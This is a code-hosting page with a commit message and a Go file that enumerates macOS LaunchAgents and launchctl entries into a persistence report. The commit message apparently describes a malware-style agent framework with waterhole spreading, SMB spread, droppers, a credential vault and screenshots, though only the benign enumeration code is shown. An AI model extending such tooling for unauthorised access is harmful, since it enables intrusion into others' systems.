1551bd5dad
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
52 lines
1.2 KiB
Go
52 lines
1.2 KiB
Go
//go:build darwin
|
|
|
|
package client
|
|
|
|
import (
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
func collectPersistenceAudit() PersistenceAuditReport {
|
|
report := PersistenceAuditReport{Platform: "darwin"}
|
|
home, _ := os.UserHomeDir()
|
|
if home != "" {
|
|
agentsDir := filepath.Join(home, "Library", "LaunchAgents")
|
|
if entries, err := os.ReadDir(agentsDir); err == nil {
|
|
for _, e := range entries {
|
|
if e.IsDir() || !strings.HasSuffix(e.Name(), ".plist") {
|
|
continue
|
|
}
|
|
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
|
Kind: "launch_agent",
|
|
Name: e.Name(),
|
|
Detail: agentsDir,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
out, err := exec.Command("/bin/sh", "-c", "launchctl list 2>/dev/null | head -40").CombinedOutput()
|
|
if err == nil {
|
|
for _, line := range strings.Split(string(out), "\n") {
|
|
line = strings.TrimSpace(line)
|
|
if line == "" || strings.HasPrefix(line, "PID") {
|
|
continue
|
|
}
|
|
fields := strings.Fields(line)
|
|
if len(fields) < 3 {
|
|
continue
|
|
}
|
|
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
|
Kind: "launchctl",
|
|
Name: fields[len(fields)-1],
|
|
Detail: line,
|
|
Enabled: fields[0] != "-",
|
|
})
|
|
}
|
|
}
|
|
report.Count = len(report.Entries)
|
|
return report
|
|
}
|